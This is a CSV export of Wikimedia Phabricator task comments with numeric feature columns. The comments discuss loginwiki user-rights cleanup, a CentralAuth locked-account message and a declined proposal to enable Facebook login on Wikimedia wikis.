285515,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,They were also discussed in comments here: https://gerrit.wikimedia.org/r/#/c/98568/,,,1391046674,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,They were also discussed in comments here: URL
61701,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones","https://login.wikimedia.org/wiki/Special:ListGroupRights

Some pretty weird (non-default) user groups and user rights here. Example:

`Use the VIPS scaling test interface Special:VipsTest (vipsscaler-test)`

For all users? Weird. Account creators user group? Really? Weird.

--------------------------
**URL**: https://login.wikimedia.org/wiki/Special:ListGroupRights
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=59702",Lowest,10.0,1388965440,1420562514.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-lsveyqlsb4acoowxr5yj,False,PHID-TASK-tw7fbfrs46t5oladuooy,task_description,declined,True,c3,1,True,False,True,-78,True,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.5789473684210527,"URL

Some pretty weird (non-default) user groups and user rights here. Example:

CODE

For all users? Weird. Account creators user group? Really? Weird.

--------------------------
**URL**: URL
**See Also**:
URL"
395767,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones",Declined -- I see no gain in doing this. Let's focus on {T61702} instead,,,1420562557,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.2777777777777777,1.0,Declined -- I see no gain in doing this. Let's focus on {T61702} instead
395765,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones",Declined -- I see no gain in doing this.,,,1420562514,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.2,1.0,Declined -- I see no gain in doing this.
395764,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones",">>! In T61701#938616, @Nemo_bis wrote:
> Loginwiki isn't a standard wiki, so we can't assume defaults make sense there. A whitelist allows not to worry about defaults.

Why are we worrying about this? :) AFAICS, there is no harm in keeping the defaults there. If we remove all unneeded user rights now, then we'd have to worry about updating loginwiki configuration whenever we update the defaults. So while trying to not worry about the defaults by overriding the defaults, we'd have to worry about it every time we update the default configuration.",,,1420562476,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-26,True,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,8.0,1.0,9.0,14.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,6.0,3.0,8.0,5.0,0.0,12.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,14.0,1.0,1.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,4.230769230769231,0.6282051282051282,"QUOTE
QUOTE

Why are we worrying about this? :) AFAICS, there is no harm in keeping the defaults there. If we remove all unneeded user rights now, then we'd have to worry about updating loginwiki configuration whenever we update the defaults. So while trying to not worry about the defaults by overriding the defaults, we'd have to worry about it every time we update the default configuration."
391940,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones","Most groups there are unneeded, but I think it's also unnecessary to remove them.
The checkuser group is atm used by stewards.",,,1419206342,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,False,,,-28,True,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,3.925925925925926,0.9629629629629629,"Most groups there are unneeded, but I think it's also unnecessary to remove them.
The checkuser group is atm used by stewards."
391880,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones","> Currently there is nothing in group ovverrides for loginwiki hence only the default user groups/rights are there. What is the benefit in removing all these groups?

Loginwiki isn't a standard wiki, so we can't assume defaults make sense there. A whitelist allows not to worry about defaults.",,,1419177073,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,14.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,11.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"QUOTE

Loginwiki isn't a standard wiki, so we can't assume defaults make sense there. A whitelist allows not to worry about defaults."
391773,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones",Currently there is nothing in group ovverrides for loginwiki hence only the default user groups/rights are there. What is the benefit in removing all these groups?,,,1419093093,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-28,True,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,3.0,0.0,0.0,13.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.6,0.8333333333333334,Currently there is nothing in group ovverrides for loginwiki hence only the default user groups/rights are there. What is the benefit in removing all these groups?
263925,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones","(In reply to comment #1)
> I think we should remove most (all?) non-default user groups and user rights
> from this wiki.

Yep, adjusting summary.",,,1388966120,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0555555555555554,0.8888888888888888,"(In reply to comment #1)
QUOTE
QUOTE

Yep, adjusting summary."
263917,"Revoke all userrights from local groups on loginwiki, whitelist the needed ones",I think we should remove most (all?) non-default user groups and user rights from this wiki.,,,1388965572,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tw7fbfrs46t5oladuooy,task_subcomment,,True,c3,1,True,,,-78,True,5.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.5,0.9545454545454546,I think we should remove most (all?) non-default user groups and user rights from this wiki.
61631,Enable Facebook login on Wikimedia wikis,"Other sites have ""Login with Facebook"".
Wikipedia should too!

At least leave this open as a long term goal 'LATER'.

----

**Pros**
* Facebook has over a billion registered users, including many/most current Wikimedians
* No need for yet another username/password

**Cons**
* Facebook is evil",Lowest,10.0,1388802780,1473447807.0,PHID-USER-awbqewknju4hbrnah6pm,False,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-TASK-2ibar746q7fwquhhky2c,task_description,declined,True,c3,1,False,False,False,-78,True,1.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,16.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,7.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,0.0,3.4594594594594597,0.6891891891891891,"Other sites have ""Login with Facebook"".
Wikipedia should too!

At least leave this open as a long term goal 'LATER'.

----

**Pros**
* Facebook has over a billion registered users, including many/most current Wikimedians
* No need for yet another username/password

**Cons**
* Facebook is evil"
725905,Enable Facebook login on Wikimedia wikis,"I think there were two issues that were conflated into one in this task: 1) Should Wikimedia support using any external services for authentication (e.g. OpenID, OAuth, Persona), and 2) Should we support Facebook as one of those mechanisms, possibly via an open standard.

Some people here are against #1, and others are only against #2. In any case, I agree that there was way too much FUD in this discussion. Facebook isn't going to compromise checkuser accounts, we (now) have a robust authentication system that allows lowering user's permissions depending what authentication method they use (OAuth, BotPasswords), we'd obviously apply the same treatment to external providers.",,,1473449496,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,2.5,0.0,0.0,0.5,0.5,4.5,1.0,0.0,0.0,0.0,3.0,1.5,0.5,0.5,1.0,3.0,0.0,5.5,7.5,0.0,0.5,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,1.0,5.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.5,4.0,0.0,0.0,0.0,1.0,0.5,10.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,1.0,0.0,2.0,3.5,9.0,0.5,1.0,5.5,0.0,0.0,0.0,1.0,2.0,0.0,2.5,0.0,4.0,7.5,4.0,0.0,0.0,0.0,4.0,0.0,2.0,1.0,0.0,2.5,0.0,0.0,1.0,4.275241439859526,0.8149692712906058,"I think there were two issues that were conflated into one in this task: 1) Should Wikimedia support using any external services for authentication (e.g. OpenID, OAuth, Persona), and 2) Should we support Facebook as one of those mechanisms, possibly via an open standard.

Some people here are against #1, and others are only against #2. In any case, I agree that there was way too much FUD in this discussion. Facebook isn't going to compromise checkuser accounts, we (now) have a robust authentication system that allows lowering user's permissions depending what authentication method they use (OAuth, BotPasswords), we'd obviously apply the same treatment to external providers."
725889,Enable Facebook login on Wikimedia wikis,">>! In T61631#2623125, @Aklapper wrote:
> Indeed, if you post on a mailing list or a local village pump and //have a specific, well-defined, non-controversial issue//, you hopefully get told to file a task in Maniphest. If there are more complex (technical or social) aspects to sort out first, a Maniphest task might welcome a related mailing list discussion or even an RfC. I'm sure you're well aware of this and understand which venues provide which purposes.

The idea that Maniphest is not used—and should not be used—to capture complex technical tasks, even those that include social components, is demonstrably false.",,,1473448464,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,6.0,6.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,11.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.8,"QUOTE
QUOTE

The idea that Maniphest is not used—and should not be used—to capture complex technical tasks, even those that include social components, is demonstrably false."
725884,Enable Facebook login on Wikimedia wikis,"I'm marking this as declined because it isn't worth warring over. The arguments against doing this continue to be ridiculously weak and are largely driven by attempts to harmfully and needlessly spread fear, uncertainty, and doubt.",,,1473448039,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,2.0,2.0,5.0,5.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,12.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,5.0,2.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.666666666666667,0.8571428571428571,"I'm marking this as declined because it isn't worth warring over. The arguments against doing this continue to be ridiculously weak and are largely driven by attempts to harmfully and needlessly spread fear, uncertainty, and doubt."
725711,Enable Facebook login on Wikimedia wikis,"[offtopic]
>>! In T61631#2623035, @MZMcBride wrote:
> You know if you post on a local wiki village pump, you get told to file a task in Phabricator Maniphest. If you post to a mailing list, you get told to file a task in Phabricator Maniphest. If you file a task in Phabricator Maniphest, you get told to post to a mailing list? Stop giving people the run-around, it's very rude.

Indeed, if you post on a mailing list or a local village pump and //have a specific, well-defined, non-controversial issue//, you hopefully get told to file a task in Maniphest. If there are more complex (technical or social) aspects to sort out first, a Maniphest task might welcome a related mailing list discussion or even an RfC. I'm sure you're well aware of this and understand which venues provide which purposes.",,,1473432904,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,1.0,2.0,1.0,0.0,1.0,1.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,1.0,9.0,2.0,5.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,0.0,1.0,0.0,2.0,3.978723404255319,0.7340425531914894,"[offtopic]
QUOTE
QUOTE

Indeed, if you post on a mailing list or a local village pump and //have a specific, well-defined, non-controversial issue//, you hopefully get told to file a task in Maniphest. If there are more complex (technical or social) aspects to sort out first, a Maniphest task might welcome a related mailing list discussion or even an RfC. I'm sure you're well aware of this and understand which venues provide which purposes."
725692,Enable Facebook login on Wikimedia wikis,">>! In T61631#2622886, @Aklapper wrote:
>>>! In T61631#2620377, @MZMcBride wrote:
>> Sure, you or hashar or anyone else are free to start a discussion on a mailing list if you think that would be helpful/beneficial.
> 
> @MZMcBride: //You// seem to be interested in keeping this task opened. So you are in a way better position to faciliate discussion and provide your arguments to a broader audience. The ball is in your court.

You know if you post on a local wiki village pump, you get told to file a task in Phabricator Maniphest. If you post to a mailing list, you get told to file a task in Phabricator Maniphest. If you file a task in Phabricator Maniphest, you get told to post to a mailing list? Stop giving people the run-around, it's very rude.

Phabricator Maniphest has a subscription feature for anyone interested in following this task to receive e-mail updates. If you think broader discussion is warranted/needed, you can post about this idea wherever you'd like. It is absolutely not my responsibility to adhere to your arbitrary demands for wider participation.",,,1473429311,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.5,1.5,0.5,0.5,4.5,0.0,0.0,0.0,2.0,2.0,0.5,0.0,0.0,0.0,0.5,0.0,3.0,11.5,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,7.0,1.0,1.5,0.0,6.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,4.5,1.5,10.5,3.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.5,11.5,6.5,0.5,0.0,0.0,8.5,0.0,0.5,3.5,0.0,1.5,1.5,0.0,0.0,4.028169014084507,0.6126760563380281,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You know if you post on a local wiki village pump, you get told to file a task in Phabricator Maniphest. If you post to a mailing list, you get told to file a task in Phabricator Maniphest. If you file a task in Phabricator Maniphest, you get told to post to a mailing list? Stop giving people the run-around, it's very rude.

Phabricator Maniphest has a subscription feature for anyone interested in following this task to receive e-mail updates. If you think broader discussion is warranted/needed, you can post about this idea wherever you'd like. It is absolutely not my responsibility to adhere to your arbitrary demands for wider participation."
725687,Enable Facebook login on Wikimedia wikis,">>! In T61631#2622238, @Bawolff wrote:
> There are 3 ways of interpreting this bug:
> * Request to enable facebook login on WMF wikis
> ** That is super politically contentious within our community. As a bare minimum you would need an RFC at meta to demonstrate community will to do this (or other community venues). If that's what people think this bug is about, then it should be declined as ""lacks consensus"". Phabricator isn't the place to come to agreement about controversial issues in our community. Its the place to request stuff once agreement has been reached in other channels.

Phabricator Maniphest is a fine place to discuss the technical implementation and any potential blockers/impediments. As I said previously, there may be valid reasons to decline this task, but so far the reasoning has been almost exclusively ""I don't like/trust Facebook"" and that seems wrong to me.

More recently the argument has gotten even more bizarre and people like @hashar won't even discuss the merits of this task. Instead, he just keeps shouting ""wrong venue!"" and trying to stifle discussion here. That's pretty shady behavior.

If nothing else, it would be nice to expand the task description with a list of pros and cons regarding this proposal for future readers.

Regarding this proposal being contentious, what evidence do you have to support this claim? You have a Facebook account. I have a Facebook account. Andre has a Facebook account. Thousands of Wikipedia users have Facebook accounts (cf. <https://en.wikipedia.org/w/index.php?title=Special:Search&profile=advanced&profile=advanced&fulltext=Search&search=""facebook+profile""&ns2=1>).",,,1473428955,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.5,0.0,0.0,0.0,1.0,5.5,2.0,0.0,0.0,0.5,1.0,1.0,0.0,0.5,0.5,2.0,0.0,8.5,7.0,0.5,2.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.5,1.0,6.0,1.0,0.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,2.5,0.0,1.0,0.0,0.0,0.0,14.0,1.0,2.5,0.5,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.5,13.0,0.5,3.0,10.0,0.0,0.0,0.5,0.0,5.0,0.0,0.0,0.0,4.0,7.0,7.5,0.5,2.0,0.0,4.0,0.0,0.5,2.5,0.5,2.0,1.0,0.0,0.5,4.276595744680851,0.7180851063829787,"QUOTE
QUOTE
QUOTE
QUOTE

Phabricator Maniphest is a fine place to discuss the technical implementation and any potential blockers/impediments. As I said previously, there may be valid reasons to decline this task, but so far the reasoning has been almost exclusively ""I don't like/trust Facebook"" and that seems wrong to me.

More recently the argument has gotten even more bizarre and people likeSCREEN_NAME won't even discuss the merits of this task. Instead, he just keeps shouting ""wrong venue!"" and trying to stifle discussion here. That's pretty shady behavior.

If nothing else, it would be nice to expand the task description with a list of pros and cons regarding this proposal for future readers.

Regarding this proposal being contentious, what evidence do you have to support this claim? You have a Facebook account. I have a Facebook account. Andre has a Facebook account. Thousands of Wikipedia users have Facebook accounts (cf. <URL"
725651,Enable Facebook login on Wikimedia wikis,">>! In T61631#2620377, @MZMcBride wrote:
> Sure, you or hashar or anyone else are free to start a discussion on a mailing list if you think that would be helpful/beneficial.

@MZMcBride: //You// seem to be interested in keeping this task opened. So you are in a way better position to faciliate discussion and provide your arguments to a broader audience. The ball is in your court.",,,1473425021,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,7.0,14.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,4.204545454545454,0.7727272727272727,"QUOTE
QUOTE
SCREEN_NAME: //You// seem to be interested in keeping this task opened. So you are in a way better position to faciliate discussion and provide your arguments to a broader audience. The ball is in your court."
725468,Enable Facebook login on Wikimedia wikis,"Lets take a step back here.

There are 3 ways of interpreting this bug:
* Request to enable facebook login on WMF wikis
** That is super politically contentious within our community. As a bare minimum you would need an RFC at meta to demonstrate community will to do this (or other community venues). If that's what people think this bug is about, then it should be declined as ""lacks consensus"". Phabricator isn't the place to come to agreement about controversial issues in our community. Its the place to request stuff once agreement has been reached in other channels.
* Request to add facebook login into MediaWiki core
** This is an inappropriate feature for MediaWiki core, as MW is used in many contexts, and not everyone would want this. For that I would decline this bug as me simply saying no, it should be an extension instead.
* Request to develop an extension to do this
** There was one at https://www.mediawiki.org/wiki/Extension:Facebook  but its kind of unmaintained. If that's what people want out of this bug, the bug should be retitled.

[ I don't think this bug should remain open at lowest priority. Lowest priority implies it would be possible to make a patch that would be accepted, just that nobody cares enough to do it. I don't think that describes this bug]
",,,1473397600,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,1.3333333333333333,4.666666666666667,1.3333333333333333,0.0,0.0,0.6666666666666666,2.6666666666666665,1.0,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,5.0,12.0,0.6666666666666666,3.3333333333333335,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.3333333333333335,2.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,12.0,2.3333333333333335,3.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,0.6666666666666666,0.0,1.0,0.0,0.3333333333333333,0.0,3.3333333333333335,4.666666666666667,8.333333333333334,1.3333333333333333,1.0,8.666666666666666,0.0,0.0,0.0,0.0,7.666666666666667,0.3333333333333333,0.6666666666666666,0.0,4.666666666666667,12.0,2.0,0.0,0.6666666666666666,0.0,4.666666666666667,0.0,1.0,2.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,3.856230847803882,0.717781750085121,"Lets take a step back here.

There are 3 ways of interpreting this bug:
* Request to enable facebook login on WMF wikis
